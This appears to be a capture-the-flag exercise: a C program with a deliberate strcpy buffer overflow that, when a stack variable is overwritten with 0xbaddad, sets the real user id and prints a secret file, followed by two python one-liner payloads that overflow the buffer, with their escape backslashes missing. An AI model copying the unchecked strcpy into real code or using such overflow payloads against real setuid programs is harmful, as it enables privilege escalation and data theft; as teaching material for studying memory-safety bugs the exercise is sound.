#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

int main(int argc, char **argv)
{
// the struct is used to ensure the loc variables are in the same order
// without struct, compiler can swap these around making expolit impossible
struct {
 char buffer[1024];
 volatile int changeme;
} locals;

locals.changeme = 0;

if (argc != 2) {
  printf("Usage: q2 <some string>n");
  return 1;
}
// copy argument to the buffer
strcpy(locals.buffer, argv[1]);

// reveal the secret if "changeme" has been changed
if (locals.changeme == 0xbaddad) {
 setreuid(geteuid(),getegid());
 system("cat /home/q2/secret");
}
else {
 printf("Try again!n");
}
exit(0);
}

$(python -c 'print "xadxddxba"*1024 ')

$(python -c 'print "xab" * 1024 + "xadxddxba"')